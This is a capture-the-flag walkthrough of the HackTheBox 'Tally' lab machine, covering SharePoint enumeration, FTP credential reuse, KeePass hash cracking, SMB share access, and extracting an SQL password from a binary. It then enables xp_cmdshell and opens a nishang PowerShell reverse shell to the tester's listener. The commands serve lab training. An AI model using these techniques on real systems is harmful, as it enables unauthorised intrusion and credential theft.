nihilist - Tally Writeup

Part 2 : Getting User Access

nmap found port 80 so let's run gobuster on it:



[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
→ echo '10.10.10.59 tally.htb' >> /etc/hosts


[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
→ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u http://tally.htb/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://tally.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/12/22 18:18:15 Starting gobuster
===============================================================
/_app_bin (Status: 301)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wt/forms/common.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/3082: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_admin/operations.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/1033: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/50: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/wp/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/_catalogs/masterpage/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:29 [!] Get http://tally.htb/60: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
[ERROR] 2020/12/22 18:18:30 [!] Get http://tally.htb/_catalogs/lt/forms/allitems.aspx: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/_layouts (Status: 301)
/_controltemplates (Status: 301)
/_layouts/1033 (Status: 301)
/_layouts/1033/avreport.htm (Status: 200)
/_layouts/1033/filedlg.htm (Status: 200)
/_layouts/1033/fontdlg.htm (Status: 200)
/_layouts/1033/error.htm (Status: 200)
/_layouts/1033/images (Status: 301)
/_layouts/1033/iframe.htm (Status: 200)
/_layouts/1033/instable.htm (Status: 200)
/_layouts/1033/menu.htc (Status: 200)
/_layouts/1033/menubar.htc (Status: 200)
/_layouts/1033/selcolor.htm (Status: 200)
/_layouts/1033/spthemes.xml (Status: 200)
/_layouts/1033/spthemes.xsd (Status: 200)
/_layouts/accessdenied.aspx (Status: 302)
/_layouts/addfieldfromtemplate.aspx (Status: 302)
/_layouts/aclinv.aspx (Status: 302)
/_layouts/addrole.aspx (Status: 302)
/_layouts/addcontenttypetolist.aspx (Status: 302)
/_layouts/addwrkfl.aspx (Status: 302)
/_layouts/adminrecyclebin.aspx (Status: 302)
/_layouts/approve.aspx (Status: 302)
/_layouts/advsetng.aspx (Status: 302)
/_layouts/aspxform.aspx (Status: 302)
/_layouts/addnavigationlinkdialog.aspx (Status: 200)
/_layouts/addfiletype.aspx (Status: 200)
/_layouts/areacachesettings.aspx (Status: 200)
/_layouts/areanavigationsettings.aspx (Status: 200)
/_layouts/addcontentsource.aspx (Status: 200)
/_layouts/areatemplatesettings.aspx (Status: 200)
/_layouts/areawelcomepage.aspx (Status: 200)
/_layouts/associatedgroups.aspx (Status: 302)
/_layouts/assocwrkfl.aspx (Status: 302)
/_layouts/addservernamemappings.aspx (Status: 200)
/_layouts/assetedithyperlink.aspx (Status: 200)
/_layouts/assetportalbrowser.aspx (Status: 200)
/_layouts/audience_defruleedit.aspx (Status: 200)
/_layouts/audience_edit.aspx (Status: 200)
/_layouts/audience_main.aspx (Status: 200)
/_layouts/audience_sched.aspx (Status: 200)
/_layouts/assetuploader.aspx (Status: 200)
/_layouts/audience_memberlist.aspx (Status: 200)
/_layouts/audience_list.aspx (Status: 200)
/_layouts/assetimagepicker.aspx (Status: 200)
/_layouts/backlinks.aspx (Status: 302)
/_layouts/avreport.aspx (Status: 302)
/_layouts/authenticate.aspx (Status: 302)
/_layouts/bdcadminui/addbdcapplication.aspx (Status: 200)
/_layouts/bdcadminui/bdcapplications.aspx (Status: 200)
/_layouts/auditsettings.aspx (Status: 200)
/_layouts/barcodeimagefromitem.aspx (Status: 200)
/_layouts/bdcadminui/bdcentities.aspx (Status: 200)
/_layouts/bdcadminui/editbdcaction.aspx (Status: 200)
/_layouts/audience_view.aspx (Status: 200)
/_layouts/bdcadminui/addbdcaction.aspx (Status: 200)

Basically out of this garbage you had to find _layouts/15/viewlsts.aspx

Into Documents there's a file called "ftp-details"


[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
→ mv ~/Downloads/ftp-details.docx .
mv: cannot stat '/home/nothing/Downloads/ftp-details.docx': No such file or directory

[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
→ ls -lash ftp-details.docx
12K -rw-r--r-- 1 nothing nothing 11K Dec 22 18:23 ftp-details.docx

[ 10.10.14.6/23 ] [ /dev/pts/16 ] [~/_HTB/Tally]
→ file ftp-details.docx
ftp-details.docx: Zip archive data, at least v1.0 to extract

[ 10.10.14.6/23 ] [ /dev/pts/3 ] [~/_HTB/Tally]
→ lowriter ftp-details.docx

So we can add that domain name to our hosts file:


[ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Tally]
→ sudo vim /etc/hosts

10.10.10.59 tally.htb tally.htb.local

And on Site Pages you're supposed to get a file called "FinanceTeam"

So here we're hinted towards a ftp_user account for the "intranet folder", so we could have credentials from what we gathered so far : ftp_user:UTDRSCH53c"$6hys. And obviously we're going to try to login via ftp since our nmap scan picked up port 21:


[ 10.10.14.6/23 ] [ /dev/pts/8 ] [~]
→ ftp 10.10.10.59
Connected to 10.10.10.59.
220 Microsoft FTP Service
Name (10.10.10.59:nothing): ftp_user
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-31-17  10:51PM       <DIR>          From-Custodian
10-01-17  10:37PM       <DIR>          Intranet
08-28-17  05:56PM       <DIR>          Logs
09-15-17  08:30PM       <DIR>          To-Upload
09-17-17  08:27PM       <DIR>          User
226 Transfer complete.
ftp> exit
221 Goodbye.

And here we get a few directories so let's just use wget to get what they contain recursively:


[ 10.10.14.6/23 ] [ /dev/pts/8 ] [_HTB/Tally/ftp]
→ wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@tally.htb.local'
--2020-12-22 23:06:07--  ftp://ftp_user:*password*@tally.htb.local/
           => ‘tally.htb.local/.listing’
Resolving tally.htb.local (tally.htb.local)... 10.10.10.59
Connecting to tally.htb.local (tally.htb.local)|10.10.10.59|:21... connected.
Logging in as ftp_user ... Logged in!
==> SYST ... done.    ==> PWD ... done.
==> TYPE I ... done.  ==> CWD not needed.
==> PASV ... done.    ==> LIST ... done.

tally.htb.local/.listing                [ <=>                                                             ]     244  --.-KB/s    in 0s

==> PASV ... done.    ==> LIST ... done.

[...]

And now let's go through what we're downloading:



[ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp]
→ du -hs tally.htb.local
99M     tally.htb.local

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp]
→ tree tally.htb.local
tally.htb.local
├── From-Custodian
│   ├── RED-528103410.log
│   ├── RED-528113411.log
│   ├── RED-528123412.log
│   ├── RED-528133413.log
│   ├── RED-5281341.log
│   ├── RED-528143414.log
│   ├── RED-528153415.log
│   ├── RED-528163416.log
│   ├── RED-528173417.log
│   ├── RED-528183418.log
│   ├── RED-528193419.log
│   ├── RED-528203420.log
│   ├── RED-528213421.log
│   ├── RED-528223422.log
│   ├── RED-528233423.log
│   ├── RED-5282342.log
│   ├── RED-528243424.log
│   ├── RED-528253425.log
│   ├── RED-528263426.log
│   ├── RED-528273427.log
│   ├── RED-528283428.log
│   ├── RED-528293429.log
│   ├── RED-528303430.log
│   ├── RED-528313431.log
│   ├── RED-528323432.log
│   ├── RED-528333433.log
│   ├── RED-5283343.log
│   ├── RED-528343434.log
│   ├── RED-528353435.log
│   ├── RED-528363436.log
│   ├── RED-528373437.log
│   ├── RED-528383438.log
│   ├── RED-528393439.log
│   ├── RED-528403440.log
│   ├── RED-528413441.log
│   ├── RED-528423442.log
│   ├── RED-528433443.log
│   ├── RED-5284344.log
│   ├── RED-528443444.log
│   ├── RED-528453445.log
│   ├── RED-528463446.log
│   ├── RED-528473447.log
│   ├── RED-528483448.log
│   ├── RED-528493449.log
│   ├── RED-528503450.log
│   ├── RED-5285345.log
│   ├── RED-5286346.log
│   ├── RED-5287347.log
│   ├── RED-5288348.log
│   └── RED-5289349.log
├── Intranet
│   └── Binaries
│       └── Firefox Setup 44.0.2.exe
├── Logs
│   ├── ftp_connect_8235771490510.txt
│   ├── ftp_connect_8235771490511.txt
│   ├── ftp_connect_8235771490512.txt
│   ├── ftp_connect_8235771490513.txt
│   ├── ftp_connect_8235771490514.txt
│   ├── ftp_connect_8235771490515.txt
│   ├── ftp_connect_8235771490516.txt
│   ├── ftp_connect_8235771490517.txt
│   ├── ftp_connect_8235771490518.txt
│   ├── ftp_connect_8235771490519.txt
│   ├── ftp_connect_823577149051.txt
│   ├── ftp_connect_8235771490520.txt
│   ├── ftp_connect_8235771490521.txt
│   ├── ftp_connect_8235771490522.txt
│   ├── ftp_connect_8235771490523.txt
│   ├── ftp_connect_8235771490524.txt
│   ├── ftp_connect_8235771490525.txt
│   ├── ftp_connect_8235771490526.txt
│   ├── ftp_connect_8235771490527.txt
│   ├── ftp_connect_8235771490528.txt
│   ├── ftp_connect_8235771490529.txt
│   ├── ftp_connect_823577149052.txt
│   ├── ftp_connect_8235771490530.txt
│   ├── ftp_connect_8235771490531.txt
│   ├── ftp_connect_8235771490532.txt
│   ├── ftp_connect_8235771490533.txt
│   ├── ftp_connect_8235771490534.txt
│   ├── ftp_connect_8235771490535.txt
│   ├── ftp_connect_8235771490536.txt
│   ├── ftp_connect_8235771490537.txt
│   ├── ftp_connect_8235771490538.txt
│   ├── ftp_connect_8235771490539.txt
│   ├── ftp_connect_823577149053.txt
│   ├── ftp_connect_8235771490540.txt
│   ├── ftp_connect_8235771490541.txt
│   ├── ftp_connect_8235771490542.txt
│   ├── ftp_connect_8235771490543.txt
│   ├── ftp_connect_8235771490544.txt
│   ├── ftp_connect_8235771490545.txt
│   ├── ftp_connect_8235771490546.txt
│   ├── ftp_connect_8235771490547.txt
│   ├── ftp_connect_8235771490548.txt
│   ├── ftp_connect_8235771490549.txt
│   ├── ftp_connect_823577149054.txt
│   ├── ftp_connect_8235771490550.txt
│   ├── ftp_connect_823577149055.txt
│   ├── ftp_connect_823577149056.txt
│   ├── ftp_connect_823577149057.txt
│   ├── ftp_connect_823577149058.txt
│   └── ftp_connect_823577149059.txt
├── To-Upload
│   ├── employees-id_number.xlsx
│   └── Invoices.zip
└── User
    ├── Administrator
    │   └── New folder
    ├── Ekta
    │   ├── OFSI_quick_guide_flyer.pdf
    │   └── PSAIS_1_April_2017.pdf
    ├── Jess
    │   └── actu8-espreadsheet-designer-datasheet.pdf
    ├── Paul
    │   ├── financial-list-guide.pdf
    │   ├── financial_sanctions_guidance_august_2017.pdf
    │   ├── Monetary_penalties_for_breaches_of_financial_sanctions.pdf
    │   └── New folder
    ├── Rahul
    │   └── Mockups-Backup
    ├── Sarah
    │   ├── MBSASetup-x64-EN.msi
    │   ├── notes.txt
    │   └── Windows-KB890830-x64-V5.52.exe
    ├── Stuart
    │   ├── customers - Copy.csv
    │   └── Unit4-Connect-Financials-Agenda.pdf
    ├── Tim
    │   ├── Files
    │   │   ├── bonus.txt
    │   │   ├── KeePass-2.36
    │   │   │   ├── KeePass.chm
    │   │   │   ├── KeePass.exe
    │   │   │   ├── KeePass.exe.config
    │   │   │   ├── KeePassLibC32.dll
    │   │   │   ├── KeePassLibC64.dll
    │   │   │   ├── KeePass.XmlSerializers.dll
    │   │   │   ├── License.txt
    │   │   │   ├── Plugins
    │   │   │   ├── ShInstUtil.exe
    │   │   │   └── XSL
    │   │   │       ├── KDBX_Common.xsl
    │   │   │       ├── KDBX_DetailsFull_HTML.xsl
    │   │   │       ├── KDBX_DetailsLight_HTML.xsl
    │   │   │       ├── KDBX_PasswordsOnly_TXT.xsl
    │   │   │       └── KDBX_Tabular_HTML.xsl
    │   │   └── tim.kdbx
    │   └── Project
    │       ├── Communications
    │       ├── Log
    │       │   └── do to.txt
    │       └── Vendors
    └── Yenwi
        └── Archive

27 directories, 130 files

And here we see something interesting, there is a keepass kdbx file in User/Tim/Files/tim.kdbx, so we're going to use keepass2john to extract the hash we need:



[ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files]
→ keepass2john tim.kdbx
tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da

Save the hash somewhere, then use hashcat to crack it:


hashcat -m 13400 tim.hash /usr/share/wordlists/rockyou.txt

and once it finishes hashcat gives us the password we need : simplementeyo

And we have new credentials! Finance:Acc0unting, and cisco:cisco123. So first let's investigate the ACCT share the keepass file hints us towards:


[ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files]
→ sudo -i
[sudo] password for nothing:

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
→ mkdir /mnt/smb

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
→ mount -t cifs -o username=Finance password=Acc0unting //10.10.10.59/ACCT /mnt/smb
mount: bad usage
Try 'mount --help' for more information.

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [~]
→ mount -t cifs -o username=Finance //10.10.10.59/ACCT /mnt/smb
🔐 Password for Finance@//10.10.10.59/ACCT:  **********

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
→cd /mnt/smb

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
→ ls -l
total 0
drwxr-xr-x 2 root root 0 Sep 17  2017 Customers
drwxr-xr-x 2 root root 0 Aug 28  2017 Fees
drwxr-xr-x 2 root root 0 Aug 28  2017 Invoices
drwxr-xr-x 2 root root 0 Sep 17  2017 Jess
drwxr-xr-x 2 root root 0 Aug 28  2017 Payroll
drwxr-xr-x 2 root root 0 Sep  1  2017 Reports
drwxr-xr-x 2 root root 0 Sep 17  2017 Tax
drwxr-xr-x 2 root root 0 Sep 13  2017 Transactions
drwxr-xr-x 2 root root 0 Sep 15  2017 zz_Archived
drwxr-xr-x 2 root root 0 Sep 17  2017 zz_Migration

So the goal here was to navigate into zz_Migration/Binaries/New\ Folder


[ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb]
→ cd zz_Migration/Binaries/New\ Folder

[ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder]
→ ls -l
total 676308
-rwxr-xr-x 1 root root 389188014 Sep 13  2017 crystal_reports_viewer_2016_sp04_51051980.zip
-rwxr-xr-x 1 root root  18159024 Sep 11  2017 Macabacus2016.exe
-rwxr-xr-x 1 root root  21906356 Aug 30  2017 Orchard.Web.1.7.3.zip
-rwxr-xr-x 1 root root    774200 Sep 17  2017 putty.exe
-rwxr-xr-x 1 root root    483824 Sep 15  2017 RpprtSetup.exe
-rwxr-xr-x 1 root root 254599112 Sep 11  2017 tableau-desktop-32bit-10-3-2.exe
-rwxr-xr-x 1 root root    215552 Sep  1  2017 tester.exe
-rwxr-xr-x 1 root root   7194312 Sep 13  2017 vcredist_x64.exe

And here you had to extract passwords out of tester.exe using strings:


[ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder]
→ strings tester.exe | grep SQL
SQLSTATE:
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;

So here we have credentials for a SQL server on port 1433 : sa:GWE3V65#6KFH93@4GWTG2G


[ 10.10.14.6/23 ] [ /dev/pts/11 ] [~]
→ sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
1> xp_cmdshell 'id'
2> go
Msg 15281, Level 16, State 1
Server 'TALLY', Procedure 'xp_cmdshell', Line 1
SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the
security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more
information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
1>

So we're connected but component xp_cmdshell is turned off, so let's turn it on:


1> EXEC SP_CONFIGURE 'xp_cmdshell',1
2> reconfigure
3> go
Msg 15123, Level 16, State 1
Server 'TALLY', Procedure 'sp_configure', Line 62
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
(return status = 1)

And it seems like the xp_cmdshell option doesn't exist, so let's enable advanced options:


1> EXEC SP_CONFIGURE 'show advanced options', 1
2> reconfigure
3> go
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)
1> EXEC SP_CONFIGURE 'xp_cmdshell', 1
2> reconfigure
3> go
Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
(return status = 0)

1> xp_cmdshell "whoami"
2> go

        output
        -------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------

        tally\sarah
        NULL
(2 rows affected, return status = 0)

And there we have it, we have code execution as the sarah user:



1> xp_cmdshell "whoami /priv"
2> go
        output
        -------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------

        NULL
        PRIVILEGES INFORMATION
        ----------------------
        NULL
        Privilege Name                Description                               State
        ============================= ========================================= ========
        SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
        SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
        SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
        SeImpersonatePrivilege        Impersonate a client after authentication Enabled
        SeCreateGlobalPrivilege       Create global objects                     Enabled
        SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
        NULL
(13 rows affected, return status = 0)

And here we see that the SeImpersonatePrivilege is set to enabled therefore we should be able to do rottenpotato on this machine, but before that let's get a reverse shell using nishang's InvokePowershellTcp.ps1


[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
→ wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
--2020-12-23 17:21:02--  https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4339 (4.2K) [text/plain]
Saving to: ‘Invoke-PowerShellTcp.ps1’

Invoke-PowerShellTcp.ps1   100%[=======================================>]   4.24K  --.-KB/s    in 0s

2020-12-23 17:21:02 (21.8 MB/s) - ‘Invoke-PowerShellTcp.ps1’ saved [4339/4339]


[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
→ echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001' >> Invoke-PowerShellTcp.ps1

[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
→ cat Invoke-PowerShellTcp.ps1 | tail -n2

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001

[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
→ cat Invoke-PowerShellTcp.ps1 | tail -n5
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001

[ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally]
→ mv Invoke-PowerShellTcp.ps1 rev9001.ps1


[ 10.10.14.6/23 ] [ /dev/pts/25 ] [~/_HTB/Tally]
→ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.59] 56942
Windows PowerShell running as user Sarah on TALLY
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
tally\sarah
PS C:\Windows\system32> cd /
PS C:\> cd Users
PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       18/09/2017     22:35                .NET v2.0
d-----       18/09/2017     22:35                .NET v2.0 Classic
d-----       30/08/2017     01:14                .NET v4.5
d-----       30/08/2017     01:14                .NET v4.5 Classic
d-----       17/09/2017     21:33                Administrator
d-----       18/09/2017     22:35                Classic .NET AppPool
d-r---       21/11/2016     01:24                Public
d-----       13/10/2017     23:57                Sarah
d-----       12/10/2017     21:28                SQLSERVERAGENT
d-----       02/09/2017     22:46                SQLTELEMETRY
d-----       13/09/2017     21:27                Tim


PS C:\Users> cd Sarah
PS C:\Users\Sarah> cd Desktop
PS C:\Users\Sarah\Desktop> dir


    Directory: C:\Users\Sarah\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       01/10/2017     22:32            916 browser.bat
-a----       17/09/2017     21:50            845 FTP.lnk
-a----       23/09/2017     21:11            297 note to tim (draft).txt
-a----       19/10/2017     21:49          17152 SPBestWarmUp.ps1
-a----       19/10/2017     22:48          11010 SPBestWarmUp.xml
-a----       17/09/2017     21:48           1914 SQLCMD.lnk
-a----       21/09/2017     00:46            129 todo.txt
-ar---       31/08/2017     02:04             32 user.txt
-a----       17/09/2017     21:49            936 zz_Migration.lnk


PS C:\Users\Sarah\Desktop> type user.txt
beXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And there you go! We have been able to print out the user flag.

Tally Writeup

Introduction :

Part 1 : Initial Enumeration

Part 2 : Getting User Access

Part 3 : Getting Root Access

Conclusion

Nihilism

My Links

About nihilist